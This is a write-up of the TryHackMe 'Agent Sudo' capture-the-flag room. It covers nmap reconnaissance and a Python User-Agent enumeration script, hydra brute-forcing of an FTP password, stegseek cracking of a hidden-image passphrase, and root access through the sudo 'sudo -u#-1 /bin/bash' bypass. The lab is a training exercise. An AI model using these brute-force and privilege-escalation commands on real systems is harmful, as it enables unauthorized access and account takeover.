December 15, 20225 minutes

Welcome to another THM-exclusive CTF room. Your task is simple: capture the flags. Have fun!

https://tryhackme.com/room/agentsudoctf

Attacker IP = 10.10.10.10

Target IP = 10.10.92.221

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.92.221
PING 10.10.92.221 (10.10.92.221) 56(84) bytes of data.
64 bytes from 10.10.92.221: icmp_seq=1 ttl=63 time=128 ms

--- 10.10.92.221 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 127.854/127.854/127.854/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.92.221 -oG allPort

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │
   2   │ [*] Extracting information...
   3   │
   4   │     [*] IP Address: 10.10.92.221
   5   │     [*] Open ports: 21,22,80
   6   │
   7   │ [*] Ports copied to clipboard
   8   │
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p21,22,80 -sC -sV 10.10.92.221 -oN target

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ef1f5d04d4779506d6072ecf058f2cc07 (RSA)
|   256 5e02d19ac4e7430662c19e25848aed7ea (ECDSA)
|_  256 2d005cdb9fda8c8d880e3924f8b4f18e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Annoucement
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Port 80#

There is a website with the following text on the main page:

Dear agents,

Use your own codename as user-agent to access the site.

From, Agent R

According to the text, we can use the “codename” as the “user agent”. It is signed as Agent R, so we can assume the agents have a letter as their codename. With curl -A "A" 10.10.92.221 we can view the website as Agent A, but trying every letter up to Z this way could take forever, so I wrote a Python script that automates the requests and saves the responses that differ.

The User-Agent is a header that identifies the user who visits a website through the browser.

from pwn import *
import requests, signal, time, pbd, sys, string, os

main_url = "http://10.10.92.221"
characters = string.ascii_uppercase
standard = requests.get(main_url)
different = ""
p1 = log.progress("Trying with Agent")
p2 = log.progress("Agents with different response")

for i in characters:
    headers = {
        'User-Agent': i
    }

    response = requests.get(main_url, headers=headers)
    p1.status(i)
    if response.text != standard.text:
        different += " {},".format(i)
        p2.status(different)
        f = open ('agent_{}.txt'.format(i) ,'w')
        f.write(response.text)
        print("\n[*] Result saved on agent_{}.txt".format(i))
        f.close()

When we run it, it finds different responses with Agent C and Agent R

❯ python3 script.py
[*] Trying with Agent: Z
[*] Agents with different response:  C, R,

[*] Result saved on agent_C.txt

[*] Result saved on agent_R.txt

agente_C.txt contains the following message

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!

Since it says the password is weak, we’ll try to find it with hydra using a wordlist.

Hydra is considered the standard security tool for running brute-force attacks against service accounts.

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.92.221 -t 40

Foothold#

Port 21#

hydra finds the password, so we can now connect over FTP as chris. Inside there are 3 files: To_agentJ.txt, cute-alien.jpg and cutie.png. With get file we can download them to our machine.

Contents of To_agentJ.txt

Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn’t be a problem for you.

From, Agent C

cute-alien.jpg#

Agent C says that Agent J’s login password is inside this picture. With steghide we can try to see its contents

❯ steghide extract -sf cute-alien.jpg
Anotar salvoconducto:
steghide: �no pude extraer ning�n dato con ese salvoconducto!

It doesn’t find anything without a passphrase. To get around that, we’ll use this tool: https://github.com/RickdeJager/stegseek, which uses a wordlist to extract the hidden content from the picture.

❯ stegseek cute-alien.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "Area51"
[i] Original filename: "message.txt".
[i] Extracting to "cute-alien.jpg.out".

message.txt#

Contents of message.txt, renamed to cute-alien.jpg.out

Hi james,

Glad you find this message. Your login password is censored!

Don’t ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy, chris

Port 22#

Now we have james’s credentials and can connect over SSH

We can now read the user.txt flag

Privilege escalation#

With sudo -l we can see what he can run as root

james@agent-sudo:~$ sudo -l
User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

I searched Google for (ALL, !root) /bin/bash and found that this is because sudo’s version is lower than 1.8.27, which makes it vulnerable. We can confirm it with:

james@agent-sudo:~$ sudo --version
Sudo version 1.8.21p2

The exploit (https://www.exploit-db.com/exploits/47502) says we can run things with sudo like this:

sudo -u#-1 /bin/bash

In fact, by running that we are root and can read the flag in /root/root.txt